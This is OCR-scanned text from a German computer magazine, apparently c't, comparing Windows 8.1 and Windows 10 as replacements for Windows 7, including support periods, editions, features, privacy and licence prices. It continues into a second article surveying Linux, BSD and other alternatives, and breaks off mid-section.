satz der neuen Version herunter und star-
tet das Setup-Programm. Das verschiebt
die vorhandene Installation in den Ordner
Windows.old, installiert die neue Version
frisch daneben und versucht dann, alle
Daten, Einstellungen und Anwendungen
aus der alten in die neue Installation zu
libernehmen. Mit ,,versucht® ist gemeint,
dass das zwar meistens, aber keineswegs
immer klappt, wobei es bislang bei jeder
Version immer wieder andere Nutzer
getroffen hat.

Es gingen jedes Mal zumindest Ein-
stellungen verloren, manche Nutzer wur-
den von der Abschaffung gewohnter Funk-
tionen Uberrascht (etwa bei den Heimnetz-
gruppen, die es nicht mehr gibt), und beim
letzten Anlauf gingen bei einigen Anwen-
dern sogar Daten verloren - Microsoft hat
die letzte Version daher wenige Tage nach
der Veroffentlichung erst mal fiir mehrere
Wochen wieder zurlickgezogen [1].

Immerhin: Die alle sechs Monate er-
scheinenden neuen Versionen fiir Win-
dows-10-Besitzer gibt es flir die Home-
und Pro-Editionen kostenlos (fiir Enter-
prise ist der Abschluss eines Software-As-
surance-Vertrages erforderlich). Derzeit
aktuell ist Windows 10 Version 1809, die
Zahl entspricht Jahr und Monat des ge-
planten Erscheinungstermins. Weil der
Plan nicht aufging, bekam Version 1809
den Namen ,,Oktober 2018 Update®, wirk-

lich erschienen ist sie wegen des zwischen-
zeitlichen Zuriickziehens im November
2018.

Wie lange eine Windows-10-Version
Sicherheits-Updates erhilt, hingt von der
Edition und dem Erscheinungstermin ab.
Die Editionen Home und Pro bekommen
grundsitzlich 18 Monate Support. Spites-
tens nach anderthalb Jahren muss man
also eine Nachfolgeversion eingespielt
haben, sonst gibt es keine Sicherheits-
Updates mehr. Anders bei den Editionen
Enterprise und Education: Diese werden
kiinftig entweder 18 oder aber 30 Monate
lang unterstiitzt, wobei der genaue Zeit-
raum vom Erscheinungstermin abhéngt:
Die fiir die erste Jahreshélfte 2019 geplan-
te Version wird 18 Monate Support erhal-
ten, die fiir die zweite Jahreshalfte geplan-
te Version hingegen 30 Monate. Das soll
auch fiir alle nachfolgenden Jahre gelten:
Die Friihjahrsversion bekommt 18, die
Herbstversion 30 Monate.

Je nach Edition ist die Frage nach der
Support-Dauer bei Windows 10 aber eine
rein akademische: Die Home-Editionen
erhalten die im Halbjahresrhythmus er-
scheinenden neuen Versionen nimlich
zwangsweise, sobald Microsoft sie fiir fer-
tig und fiir den jeweiligen PC geeignet
halt. Daher laufen Home-Editionen letzt-
lich nie in Gefahr, das Support-Ende zu
erreichen, weil sie bereits vorher auf eine
neuere Version mit neuer Support-Dauer
umgestellt werden. Fiir alle anderen Edi-
tionen gilt das im Prinzip auch, allerdings
kann man bei denen konfigurieren, dass
man neue Versionen erst spiter erhalten
will. Das macht aus Home-Nutzern fak-
tisch Beta-Tester. Sie bekommen, was Mi-
crosoft fiir fertig hilt, ohne sich dagegen
wehren zu konnen. Knallts, schiebt Micro-
soft halt ein Update nach oder zieht das

Windows-Versionen im Vergleich

Windows 8.1

Upgrade zuriick - so wie es gerade erst bei
1809 geschehen ist.

Kurzum: Am langsten Ruhe vor dem
nichsten Support-Ende hat man mit
Windows 8.1, denn da liegt der Termin
derzeit noch vier Jahre in der Zukunft. Al-
lerdings muss man sich dann wieder um
eine neue Alternative kiimmern. Bei
Windows 10 hingegen ist zwar immer
wieder mal Support-Ende und bei jeder
neuen Version droht beim Einspielen
Arger, doch dafiir kommen die Nachfol-
geversionen immerhin automatisch frei
Haus. Wer Windows 10 nicht als Home-
Edition einsetzt, kann das Einspielen
zudem zuriickstellen, bis die neue Version
bei den Home-Testern lange genug lief,
damit Microsoft die wichtigsten Kinder-
krankheiten auskurieren konnte.

Sonderfall LTSC

Windows 10 Enterprise gibt es in einer
speziellen Edition, die zusétzlich ,,LTSC*
im Namen trégt. Die Abkiirzung steht fiir
»Long-Term Servicing Channel“. Diese
Edition ist ausschlief3lich mit einem Volu-
menlizenzvertrag erhaltlich, fiir Privat-
kunden bietet Microsoft diese Version also
nicht an. Sie unterscheidet sich von den
anderen Windows-10-Enterprise-Editio-
nen dadurch, dass sie ausdriicklich keine
Funktions-Upgrades bekommt. Stattdes-
sen gibt es nur die tiblichen monatlichen
kumulativen Updates, die auch die Sicher-
heits-Updates enthalten.

Die LTSC-Editionen sind bislang drei
Mal erschienen, wobei die ersten beiden
Fassungen noch die Abkiirzung LTSB tru-
gen (,Long-Term Servicing Branch®). Die
Versionsnummern lauten 1507, 1607 und
1809. Der Support fiir die Versionen lduft
jeweils 10 Jahre, wie es bei Windows 7 und
8.1iiblich war. Die Support-Enddaten sind

Windows 10

Applocker (erlaubte Anwendungen festlegen)

Computerverwaltungs-Snap-in , Lokale Benutzer und Gruppen*“
Sprachassistentin Cortana -
Dateiverschliisselung EFS -
Doménenintegration -
Gruppenrichtlinieneditor -
Hyper-V (Virtualisierung) -
Laufwerksverschliisselung Bitlocker -
Remote Desktop Client / Server

Windows Hello (biometrische Authentifizierung) -
V/ vorhanden — nicht vorhanden
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also der 14. Oktober 2025 flir die erste, der
13. Oktober 2026 fiir die zweite und der 9.
Januar 2029 fiir die derzeit aktuelle LTSC-
Version. Microsoft weist aber darauf hin,
dass die LTSC-Versionen nur fiir PCs ge-
dacht sind, die nur gleichbleibende Auf-
gaben zu erfiillen haben und bei denen
stindig neue Funktionen eher hinderlich
wiren; Microsoft nennt als Beispiel PCs
zur Luftfahrtkontrolle.

Funktionsumfang

Fiir jene Nutzer, die bislang mit Windows
7 zufrieden sind, diirfte der Funktionsum-
fang kaum zum Entscheidungskriterium
zwischen 8.1 und 10 taugen. Denn die
meisten fiir solche Nutzer spannenden
Neuerungen steckten schon in 8.1 drin.
Einen Virenscanner muss man nicht mehr
nachinstallieren, denn der Defender ist ein
vollwertiger Virenscanner statt nur eine
Antispyware wie unter Windows 7. ISO-
und VHD-Dateien lassen sich per Doppel-
klick als virtuelles Laufwerk im Explorer
einbinden und mehrere Laufwerke lassen
sich zu einem ,,Storage Space” zusammen-
fassen (eine Art flexibel erweiterbares
RAID [2]). Das Nachinstallieren von
Sprachpaketen ist bei allen Editionen er-
laubt, und tber die Tastenkombination
Windows+X erreicht man eine Art Admin-
Startmenii mit Abkiirzungen zu Komman-
dozeile/PowerShell, Ereignisanzeige, Da-
tentrdgerverwaltung und einigem mehr -
das will man schnell nicht mehr missen,
wenn man es erst mal kennt.

Argerlich mag hingegen sein, dass Mi-
crosoft seit Windows 7 einige Zopfe abge-
schnitten hat: Das Media Center fehlt
ebenso wie die Filmwiedergabe von DVD,
und die Gadgets der Sidebar gibt es nicht
mehr. In der aktuellen Windows-10-Ver-
sion wurden zudem die Heimnetzgruppen
entfernt (Tipps flir Nutzer, denen sie feh-
len, haben wir in [3] aufgeschrieben).

Letztlich liegen beide Windows-Ver-
sionen gleichauf, wenn es um Funktionen
geht. Das mag im ersten Moment verblif-
fen, wirbt Microsoft doch ausdriicklich
damit, bei Windows stindig neue Funk-
tionen nachzuriisten. Doch ein wirklicher
Knaller war bislang nicht dabei. Im Ge-
genteil: Bei mancher Neuerung mag man
sich zuerst fragen, wie man sie wieder de-
aktiviert, etwa als Version 1803 lernte, den
Verlauf der vom Nutzer aufgerufenen An-
wendungen und Dokumente in der Cloud
zu speichern, oder als Version 1809 anbot,
dort den Inhalt der Zwischenablage abzu-
legen.
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Wenn Sie einen Blick in die Tabelle
auf Seite 35 werfen, werden Sie feststel-
len, dass die entscheidenden Unterschie-
de beim Funktionsumfang nicht die zwi-
schen Windows 8.1 und 10 sind, sondern
die zwischen den Home- und den Pro-
/Enterprise-Editionen. Datei- und Lauf-
werksverschliisselung, die Desktopvirtua-
lisierung mit Hyper-V, die Fernsteuerbar-
keit per Remote Desktop, der Gruppen-
richtlinieneditor und so weiter fehlen den
Home-Editionen allesamt.

Bedienung

Wer den Umgang mit Windows 7 be-
herrscht, kommt auch mit den Nachfol-
gern klar. An einigen Stellen muss man
sich allerdings umgewohnen. So enthalt
der Explorer Ribbons, ohne dass der
Grund dafiir wirklich klar wird - einige der
Elemente darin sind grofd genug fiir die
Bedienung per Fingertipp auf einem
Touch-Bildschirm, andere dafiir zu mick-
rig. Das Infocenter ist der Nachfolger der
Popup-Meldungen iiber der Uhr. Das
Suchfeld ist bei Windows 8.1 iiber den
Lupenknopf auf der Startseite zu finden
und bei Windows 10 in die Taskleiste ge-
wandert - Sie konnen zum Suchen aber
weiterhin die Windows-Taste driicken
und anschlieflend direkt den Suchbegriff
eintippen.

Schmerzlicher wird flr viele sein,
dass Microsoft bei den Windows-7-Nach-
folgern das Startmenii demoliert hat - was
Komfort und Ubersichtlichkeit betrifft,
hinken die Nachfolger bis heute hinterher.
Unter Windows 8.1 gibt es statt Startmenii
eine Startseite voller Kacheln im Vollbild-
modus, und nicht jeder ertrigt es, wenn
nach dem Driicken der Windows-Taste
der Desktop komplett verschwindet. Im-
merhin hat 8.1 wieder einen Startknopf'in
der Taskleiste (Windows 8 fehlte er).
Windows 10 bietet zwar ein Startmend,
doch auch das enthilt Kacheln. Wer ohne
klassisches Startmenii nicht auskommen
mag, kann eines nachinstallieren - einen
c’t-Vergleichstest finden Sie in [4].

Umgewohnen muss man sich auch
beim Konfigurieren des Betriebssystems:
Microsoft hat die Systemsteuerung seit
Windows 8 in zwei Teile zerrissen: Die
»Einstellungen® sollen irgendwann mal
die Systemsteuerung ablésen und mit
jeder neuen Windows-Version wandern
weitere Konfigurationsdialoge dorthin.
Doch irgendwie ist es wie beim BER: Ein
Ende der Baumafdnahmen ist nicht in
Sicht. Als Folge weifd man sowohl unter 8.1
als auch unter 10 nie so genau, wo man ei-
gentlich nach einem Einstellungsdialog
suchen soll. Statt die Arbeiten endlich
zum Abschluss zu bringen, hat Microsoft

Startment (Windows) g

L

.

'
.\
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Tipps

Karten

Wer mit der Startseite
von Windows 8.1 oder
dem kachelhaltigen
Startmenii von Windows
10 partout nicht warm
wird, kann kostenlos ein
klassisches Startmenti
nachinstallieren.
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Einstellungen

Feedback-Hub

Kontakte

Sticky Notes

Snipping Tool

Classic Start Menu Settings

cttest

Dokumente
Bilder

Musik
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Preselection sind picht moglich. Alle weiteren Details und Preise entnehmen Sie der angegebenen Ubersichtsseite.
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sich mittlerweile darauf verlegt, iberall
Links zum jeweils anderen Konfigura-
tionsprogramm zu hinterlegen.

Viele der Bordmittel von 8.1 und 10
sind altbekannt: Notepad, Wordpad, Paint,
Regedit, Taskmanager und so weiter sind
alle mit dabei - zwar mitunter in verander-
ter Form, doch stets wiedererkennbar.
Manches wurde aber auch durch Apps im
Kacheldesign ersetzt, was bei Nutzern, die
bislang mit Windows 7 zufrieden waren,
nicht immer auf Begeisterung stofden diirf-
te. Der Taschenrechner beispielsweise
sieht unter Windows 8.1 aus wie von 7 ge-
wohnt, hat unter 10 jedoch iiberdimensio-
nale Tasten bekommen. Dafiir kann er di-
verse Einheiten wie Datum, Temperatur
und Volumen umrechnen und verfiigt iiber
aktuelle Wihrungswechselkurse. Bilder
zeigt die Photo-App an, die altbekannte
Fotoanzeige lésst sich nur mit Gefrickel
wieder zum Standard erkldren [5].

Privatsphére
Vor allem Windows 10 leidet unter dem
Ruf; viel zu viele Daten an Microsofts Ser-
ver zu schicken. Microsoft zufolge seien
beispielsweise Diagnosedaten notig, um
Windows mit Updates versorgen zu kon-
nen, doch wie ¢t in der vorigen Ausgabe
zeigte, stimmt das nicht. Sie konnen den
notigen Dienst in erstaunlich vielen Fillen
einfach abschalten, lesen Sie aber bitte vor-
her den c’t-Artikel [6]. Weitere Tipps, wie
Sie Ihre Privatsphire unter Windows 10
schiitzen, haben wir in [7] aufgeschrieben.
Viele Geriichte ranken sich auch um
das Microsoftkonto. Sie konnen es zwar
nutzen, um sich an Windows anzumelden,
doch miissen Sie das nicht. Eine ¢’t-FAQ
beantwortet die haufigsten Fragen rund
um das Konto [8].

Support-Ende ,,as a Service”

Systemvoraussetzu ngen
Aufjedem PC, auf dem Windows 7 lauft,
laufen quasi immer auch 8.1und 10, denn
die Hardwarevoraussetzungen sind tiber-
all dieselben: 16 GByte Plattenplatz und
1 GByte RAM fiir die 32-Bit-Varianten,
20 GByte Plattenplatz und 2 GByte RAM
flir 64 Bit.

Anders als bei Windows 7 muss der
Prozessor die Befehlssatzerweiterung
SSE2 mitbringen sowie die Funktion No
Execute (NX), um die Ausfithrung von
Code an bestimmten Adressen zu verhin-
dern. Beides gehort aber langst zum Stan-
dard. Fiir die 64-Bit-Varianten von Win-
dows 10 muss der Prozessor nicht blof3
64-Bit-tauglich sein, sondern auch die Be-
fehle CMPXCHG16B (CompareExchan-
ge128), PrefetchW und LAHF/SAHF ver-
arbeiten konnen. Daran scheitern aber
letztlich nur steinalte Rechner mit Sockel-
939-Prozessoren von AMD [9].

Preise

Auch wenn viele Handler Windows 8(.1)
mittlerweile aus dem Programm genom-
men haben, kann man es trotzdem noch
bekommen, und zwar zum gleichen Preis
wie Windows 10. Faustregel: Als System-
Builder-Lizenz kostet die Home-Edition
circa 100 Euro oder knapp darunter, die
Pro-Edition kostet rund 140 Euro. Solche
Lizenzen konnen Sie auf einem beliebigen
PC installieren und auch zum néchsten
PC mitnehmen, es gibt keine Einschrén-
kungen aufler der tblichen, dass man
immer nur eine Instanz des Betriebssys-
tems zur Zeit laufen darf.

Windows 10 bekommt man derzeit
aber auch kostenlos, wenn man Windows
7 besitzt (ausgenommen ist die Enterpri-
se-Edition). Denn obwohl das Angebot des

Windows 10 Version 1607
Windows 10 Version 1703

beendet
beendet

Windows 10 Version 1709 9.April 2019
Windows 10 Version 1803 12. November 2019
Windows 10 Version 1809 12. Mai 2020

9.April 2019

8. Oktober 2019
14. April 2020

10 November 2020
11. Mai 2021

Support-Ende bei herkémmlichem Support
[lion

Windows 8.1

Windows 10 Enterprise LTSB 1507
Windows 10 Enterprise LTSB 1607
Windows 10 Enterprise LTSC 1809
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10. Januar 2013
14. Oktober 2025
13. Oktober 2026
9. Januar 2029

Gratis-Umstiegs offiziell lingst ausgelau-
fen ist, funktioniert es weiterhin, also auch
mit 1809. Ob es ,legal® ist, das zu nutzen,
lasst sich nicht sagen, weil das entweder
eine Aussage von Microsoft dazu oder aber
eine Gerichtsentscheidung erfordern
wiirde, und beides ist nicht in Sicht. Die In-
dizien sprechen aber deutlich dafiir, dass
Thnen kein Arger droht, wenn Sie kosten-
los umsteigen: Erstens hat Microsoft nach
Auslaufen des Angebots Zeit und damit
Geld investiert, damit das Setup-Pro-
gramm von Windows 10 Installations-
schliissel von Windows 7 akzeptiert. Als
das Angebot noch lief, ging das noch nicht.
Zweitens akzeptieren auch Microsofts Ak-
tivierungsserver weiterhin alte Installati-
onsschliissel, obwohl der Konzern das pro-
blemlos abstellen konnte. Microsoft hilft
also kriftig dabei mit, dass Sie immer noch
kostenlos umsteigen konnen.

Was Sie beim kostenlosen Umstieg
von Windows 7 auf 10 bekommen, hiangt
von der Windows-7-Edition ab: Die
Home-Editionen bekommen Windows 10
Home, Professional und Ultimate erhal-
ten Windows 10 Pro.

Obacht: Die alte Windows-7-Lizenz
wird keineswegs frei durch das Upgrade,
sondern bleibt weiter Bestandteil Ihrer
Windows-Lizenz. Das gilt auch fiir Gratis-
Umsteiger von 8(.1) auf 10. Falls Thnen
also jemand eine 8(.1)er-Lizenz gebraucht
iibertragen mochte, weil er sie wegen des
Upgrades auf Windows 10 vermeintlich
nicht mehr braucht: Technisch mag das
zwar gehen, erlaubt ist das aber nicht.

Praxistipps zum Umstieg von Win-
dows 7 auf 10 haben wir online zusam-
mengestellt: Unter heise.de/-3892845
finden Sie die ausfiihrliche Beschreibung
von vier verschiedenen Umstiegsmetho-
den. Der Artikel handelt zwar vom Um-
stieg von Windows 7 auf 10 Version 1709,
doch mit den Versionen 1803 und 1809
funktioniert alles genauso, wie unsere
Nachtests ergeben haben. Den Link zum
Artikel konnen Sie gern weitergeben. Falls
es statt Windows 10 lieber 8.1 sein soll:
Die Installationswege sind an sich die
gleichen, nur brauchen Sie dafiir natiirlich
ein anderes Installationsmedium. Bei
Bedarf finden Sie ein ISO-Abbild via
ct.de/yj6r auf Microsofts Website.

Fazit

Eine eindeutige Empfehlung, durch wel-
che Windows-Version man am besten die
alte Windows-7-Installation ersetzt, kon-
nen wir leider nicht geben. Wer kein Geld
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ausgeben kann oder will, wird um das Gra-
tis-Upgrade auf Windows 10 kaum herum-
kommen. Windows 10 ist auch fiir jene zu
empfehlen, die das Support-Ende von
Windows 7 zum Anlass nehmen wollen,
aufeein aktuelles Betriebssystem umzustel-
len. Falls Sie die Gelegenheit nutzen, einen
neuen PC zu kaufen, wird es ebenfalls auf
Windows 10 hinauslaufen, denn das ist
meist vorinstalliert. Falls Sie dabei tibri-
gens ein Gerat mit vorinstalliertem ,,Win-
dows 10 S“ bekommen: Das erlaubt nur
die Installation von Anwendungen aus
dem Store, doch Sie konnen es kostenlos
per Mausklick in den Einstellungen in eine
normale Installation umwandeln - die Edi-
tion bleibt dabei die gleiche, aus ,,Home
S* beispielsweise wird dabei also ein
,Home".

Wer nach dem Wechsel des Betriebs-
systems hingegen moglichst lange Ruhe
vor einem erneuten Support-Ende sowie
vor Upgrade-Installationen haben moch-
te, ist mit Windows 8.1 vorlaufig besser be-
raten. Zwar wird langfristig trotzdem kein
Weg um Windows 10 herumfiihren, doch
immerhin hat man mit 8.1 bis dahin noch
vier Jahre Zeit, und wer weif3 schon, was
sich bis dahin noch alles éndert.

Einige Empfehlungen konnen wir
aber trotzdem geben: Falls Sie noch eine
32-Bit-Variante von Windows 7 betreiben,
sollten Sie eine Neuinstallation des Nach-
folgers erwégen, und zwar als 64-Bit-Va-
riante. Erstens unterstiitzt nur die mehr
als 4 GByte RAM (und das gilt heutzutage
eher als Untergrenze des Ertréglichen),
und zweitens fehlen Ihnen sonst Funktio-
nen wie Hyper-V oder unter Windows 10
das Windows Subsystem fiir Linux (WSL
[10]). Ohne Neuinstallation geht der Um-
stieg auf 64 Bit leider nicht, denn das Um-
wandeln einer bestehenden Installation
hat Microsoft nicht vorgesehen und wir
kennen auch keinen Trick, wie es trotz-
dem hinzubekommen wire.

Und noch ein Tipp: Wenn irgendwie
moglich, lassen Sie vor allem bei Windows
10 die Finger von der Home-Edition, und
zwar nicht nur, weil Thnen sonst unter
anderem Sicherheitsfunktionen wie die
Verschliisselung fehlen. Sie gehoren sonst
namlich zu den Beta-Testern, die auspro-
bieren miissen, ab wann die neuen Versio-
nen gut genug fiir den Einsatz in Unterneh-
men sind. Von der Pro-Edition an aufwirts
hingegen konnen Sie einstellen, dass Sie
die neuen Version erst spiater bekommen
wollen. Stellen Sie dazu in den Einstellun-
gen unter ,,Update und Sicherheit/Erwei-
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Windows 10 schickt
standardmaBig
diverse Diagnose-
daten an Microsofts
Server, doch das
lasst sich abstellen.

Dienstname:

Anzeigename:

Beschreibung:

Starttyp:

Dienststatus:
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Abbrechen Ubemehmen

terte Optionen” von ,Semi-Annual Chan-
nel (targeted)“ auf ,,Semi-Annual Chan-
nel“ um. Zusitzlich konnen Sie direkt da-
runter die neue Version um weitere maxi-
mal 365 Tage hinauszogern - bis dahin ist
sie hoffentlich gut abgehangen und stabil
genug flir den Einsatz bei Thnen.

Als Hinweis zum Abschluss: Wenn Sie
eine Pro-Lizenz kaufen wollen, werden
Sie im Internet mitunter iiberraschend bil-
lige Angebote finden. Doch Achtung: Bei
denen lasst sich oft kaum entscheiden, ob
es sich um ein echtes Schnappchen han-
delt oder aber um eine Offerte, die Micro-
soft alsillegal ansehen wiirde. Faustregel:
je billiger, desto illegal. Allerdings unter-
nimmt Microsoft derzeit nichts gegen sol-
che Angebote, vermutlich um moglichst
niemandem vom Umstieg auf Windows
10 abzuhalten. Weitere Infos rund um
(vermeintliche) Billig-Lizenzen haben wir
in [11] zusammengestellt. Auf der recht-
lich sicheren Seite sind Sie mit System-
Builder-Lizenzen.

Wenn Sie eine Windows-Lizenz kau-
fen, werden Sie iibrigens womaglich tiber
solche mit einem ,,N“ im Namen stofRen,
beispielsweise ,,Pro N“ statt ,,Pro“. Das N
steht fiir ,,Nicht mit Media Player*, und
Sie sollten moglichst einen Bogen darum
machen. Denn der Media Player fehlt mit-
samt Unterbau, und dartiber konnen An-
wendungen in den absurdesten Situatio-
nen stolpern. Wir hatten schon den Fall,
dass sich ein Grafikkartentreiber deswe-

gen nicht installieren liefs. Mehr zu N-Edi-
tionen lesen Sie in [12].

Sollten Sie sich nach der Lekttiire die-
ses Artikels nun so gar nicht entscheiden
konnen, ist Windows fiir Sie vielleicht
doch nicht der passende Nachfolger fiir
Windows 7. Der nachfolgende Beitrag
zeigt Alternativen auf. (axv@ct.de) €&
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Wenn Ersatz fiir Windows 7
gefragt ist und seine Nachfol-
ger keine Option darstellen,
muss eine Alternative her.

Wir haben uns umgesehen,
welches Betriebssystem sich
fiir Windows-Fliichtlinge am
ehesten eignet und wie man es
gefahrlos ausprobieren und
installieren kann.

Von Peter Siering

m es gleich vorwegzunehmen:

Abseits weltanschaulicher Fra-

gen kommt als Betriebssystem
flir PCs, die bisher unter Windows 7 ar-
beiten, eigentlich nur Linux in Betracht.
Es ist kostenlos zu haben, gibt sich mit
denselben Hardwareressourcen zufrie-
den und diirfte fiir die meisten Kompo-
nenten ilterer PCs auch funktionstiich-
tige Treiber mitbringen. Allerdings gibt
es nicht nur ein Linux, das infrage kommt
- bevor der Artikel daflir Antworten lie-
fert, sei ein Ausflug gestattet, warum aus
unserer Sicht nur selten etwas anderes
sinnvoll ist.

Linux-Alternativen

Wer den (grof3-)elterlichen PC mit Win-
dows 7 an der Backe hat und nach einer
Alternative Ausschau hilt, sollte tiber ein
Tablet oder vielleicht ein Chromebook
nachdenken. Das kostet zwar Geld, spart
aber Zeit flir den Support und ist oft
Computer genug. Die Hardware des PCs,
die womoglich bereits in die Jahre gekom-
men ist, kann dann bald schon auf den
Recyclinghof.

Fiir macOS braucht man Apple-Hard-
ware. Die ist sogar gebraucht vergleichs-
weise teuer. Den eigenen PC in einen
Hackintosh zu verwandeln ist zwar mog-
lich, aber enorm zeitaufwendig und aus-
stattungstechnisch reine Gliicksache -
oo ° macOS kennt langst nicht jede PC-Kom-

I ponente. Auflerdem ist das lizenztechnisch
TS c h u Ss W I n d OWS ® mindestens grenzwertig, weil Schutzme-
chanismen zu iberwinden sind und das
Betriebssystem einzeln nicht zu kaufen ist.

g . Und: macOS und seine Softwarewelt sind
ReaCtos' Llnux' BSD & CO.. WeIChe weiter von Windows weg als manche
Betriebssysteme echte Alternativen sind Linux-Distribution - Umsteiger brauchen

ein paar Wochen Umgewdhnung.
Windows-Klone wie ReactOS mogen
aus technischer Sicht spannend sein, aber
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als System fiir den téglichen Einsatz tau-
gen die Ansétze weniger als frithe Vorab-
versionen aller anderen Betriebssysteme.
Der einstige Windows-Mitbewerber OS/2
erlebt als ArcaOS 5 zwar einen weiteren
letzten Friihling, kostet jedoch schon in
der ,personal edition“ 129 US-Dollar.
Weit entwickelte Windows-Kompatibilitdt
zum Ausfiihren von vorhandenen Pro-
grammen fehlt obendrein - fiir Noch-
Windows-7-Nutzer ist das allenfalls ein
Irrweg weg von Microsoft.

Neugierig waren wir auf das, was die
BSD-Unix-Welt fiir den Desktop hervor-
gebracht hat: OpenBSD und TrueOS wer-
den dort als Varianten fiir den personli-
chen Computergebrauch gern empfohlen.
OpenBSD mag alten Unix-Hasen das Ge-
fiihl von Heimat vermitteln, wenn es nach
der textmodusbasierten Installation und
einem manuellen Start der grafischen
Oberfliche immerhin Terminalfenster
offnet. Wer seine Mohren gern selbst aus-
grabt, hat hier Spaf}, doch Windows-7-
Umsteiger werden eher schreiend zu
Windows 8.1 oder 10 iiberlaufen.

TrueOS, als weiterer (Free)BSD-Ab-
leger, bietet immerhin ein grafisches In-
stallationsprogramm. Doch das patzt je
nach Ausgereiftheit des BIOS bei UEFI
und hinterlésst nicht bootfihige Systeme.
Technisch bietet es tolle Dinge, etwa re-
gelmiflige differenzielle Systemsicherun-
gen dank ZFS als Dateisystem. Leider ist
die Bedienoberfliche eine Denglischbau-
stelle. Richtiger Zug scheint nicht mehr im
Projekt zu sein, denn der designierte
Nachfolger Project Trident dndert aber-
mals die Ausrichtung von TrueOS.

Damit nicht der Eindruck entsteht,
die erwdhnten BSDs wiirden gar nichts
taugen: Sie eignen sich nur nicht fiir Win-
dows-7-Umsteiger, die das erste Mal mit
unixoiden Betriebssystemen in Kontakt
kommen. Mit etwas Liebe und Aufmerk-
samkeit konnen sich kundige Nutzer
damit durchaus ihren Desktop schon ma-
chen und auch viele der gingigen Pro-
gramme nutzen, etwa LibreOffice und
Firefox. Verglichen mit Linux ist das Soft-
wareangebot aber kleiner, weil Software-
hersteller nur an Windows sowie macOS
denken und allenfalls noch an Linux -
aber nicht an BSD.

Alternative Linux

Fiir weniger abenteuerlustige Windows-
7-Fliichtlinge bleibt wie eingangs erwihnt
nur Linux. Aber welches? Wie auch die
BSD-Welt dazu neigt, im Zweifel ambitio-
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niert die Familie weiter aufzuspalten,
indem weitere Weggabeln geschaffen
werden, ist auch die Linux-Welt in steter
Bewegung. Es gibt nicht nur eine Vielzahl
von Distributionen, sondern auch ver-
schiedene grafische Bedienoberflichen.
Die kann man theoretisch austauschen.
Fiir die ersten Schritte wihlt man am
besten die Distribution nach der Stan-
dardoberfliche.

Ganz frither, als man noch Geld fiir
die Medien einer Linux-Distribution aus-
gab, war Suse fiir deutsche Nutzer eine
gute Empfehlung, weil es ein umfassen-
des Handbuch dazu gab. Diese Stelle hat
zwischenzeitlich Ubuntu innegehabt, weil
es eine breite Nutzerbasis weltweit hat.

Doch die wirtschaftliche Kraft hinter
Ubuntu, die Firma Canonical, verfolgt
eben geschiftliche Interessen und hat im
Lauf der Zeit wenig Geschick bewiesen,
das System mit einer fiir Windows-Nutzer
verstindlichen Bedienoberfliche auszu-
statten.

Mit Unity eiferte Canonical sogar der
Kachelitis in Windows 8 nach und ist jetzt
zu Gnome zuriickgekehrt. Wer bisher
Windows 7 benutzt hat, muss sich deutlich
umorientieren. Es gibt nichts, was einem
Startmeni dhnelt. Die sonstigen Bedien-
moglichkeiten sind aber nah an Windows:

Aktivititen

Strg+C kopiert, Alt+Tab wechselt Fenster
et cetera.

Dichter kommt der Ubuntu-Ableger
Linux Mint in der Cinnamon-Edition an
Windows heran. Die Bedienoberfliche
Cinnamon sieht ein wenig anders, moder-
ner als Windows 7 aus, ahnelt aber von der
Bedienung her durchaus dem Windows-
Klassiker. Die Bezeichnungen, Hilfstexte
und Dokumentation sind Deutsch. Viele
Feinheiten, die man sich unter Windows
angeeignet hat, sind allerdings neu zu ent-
decken und nicht alles hat seine Entspre-
chung.

Gleiches gilt fiir Kubuntu, das als Be-
dienoberfliche auf KDE setzt. Auch hier
finden sich Windows-Nutzer schnell zu-
recht. Die aktuelle Fassung des Desktops
zeugt von liebevoller, konsequenter Wei-
terentwicklung. Wihrend bei Cinnamon
eher Hipness der treibende Faktor ist,
scheint bei KDE der Benutzer im Vorder-
grund zu stehen. Letztlich bleibt die Aus-
wahl aber doch Geschmacksache.

Optik hin, Paketauswahl her: Keine
Distribution unterstiitzt Umsteiger direkt.
Wer von einer bestehenden Windows-7-
Installation auf Linux - egal welcher Cou-
leur - wechseln mochte, kann nicht ein-
fach ein Update ausfiihren. Stattdessen
muss er alle Details des Umzugs selbst
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vorbereiten und ausfithren. Das grofite
Arbeitspaket bildet dabei die Aufgabe, den
bisher eingesetzten Windows-Anwendun-
gen wo notig die eigenen Daten per Ex-
port abzutrotzen und ins Linux-Pendant
zu importieren.

Immerhin lassen sich die beiden Li-
nuxe zunichst einmal als Live-System
starten, also ohne Installation von einem
USB-Stick booten und versuchsweise be-
nutzen. Das geht auch von einer DVD,
aber das ist eher zum Abgewohnen.

Live testen

Im Live-Betrieb finden Sie auch gleich he-
raus, ob das Betriebssystem Treiber fiir
Thre PC-Hardware mitbringt. Das manch-
mal notwendige Nachinstallieren von
Treibern ist in dieser Betriebsart nicht
moglich, im installierten System spiter
schon. Das Gleiche gilt auch fiir Software:
Die Live-Systeme bringen einen Grund-
stock zum Probieren mit, darunter meist
ein Office-Paket, einen Browser und einen
E-Mail-Client; nach der Installation kann
man weitere Anwendungen hinzufiigen.

Aus dem Live-System heraus konnen
Sie auf die Windows-Festplatte des PCs
zugreifen. Obacht: Sie diirfen hier durch-
aus auch Dateien dndern. Nutzen Sie im
Zweifel Kopien, die Sie auf den Linux-
Desktop ziehen. Storen Sie sich nicht
daran, dass Sie im Live-Betrieb nur eine
englischsprachige Bedienoberfliche zu
sehen bekommen. Das ist nach der Instal-
lation nicht mehr so, wenn Sie die Sprach-
einstellungen angepasst haben.

Apropos Software: Linux erhilt Trei-
ber, Updates und Anwendungen stan-
dardméiflig aus speziellen Paketquellen
(Repositories) der Distribution. Man muss
also nichts selbst tibersetzen oder im Web
zusammenkratzen, sondern installiert
Software komfortabel aus einer speziellen
Anwendung heraus - Suchfunktionen hel-
fen bei der Auswahl. Abhingige Software
oder Bibliotheken beschaftt die Paketver-
waltung vollautomatisch. Das klingt nach
einem Store kommerzieller Systeme, die
Auswabhl ist aber deutlich grofier und eine
Distribution bezieht alle Updates und
Treiber dorther.

Ubuntu und Mint polstern die Soft-
wareauswahl mit neuartigen Installations-
methoden auf und erschlieflen sich so
auch Programme wie Microsofts Visual
Studio Code per Anwendungsverwaltung.
Ubuntu setzt dabei auf Snap, Mint ver-
wendet Flatpack. Dabei variiert die Grofde
flir Visual Studio Code erheblich: Das
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Snap in Ubuntu ist 128 MByte grof3, das
Flatpack in Mint tiber 1 GByte - das spricht
an dieser Stelle filir Original-Ubuntu.

Support-Fragen
Die Supportleistungen, die ein Endver-
braucher bei Linux erwarten kann, ent-

sprechen in etwa denen, die er bei Win-
dows realistisch erhilt: Sicherheits- und
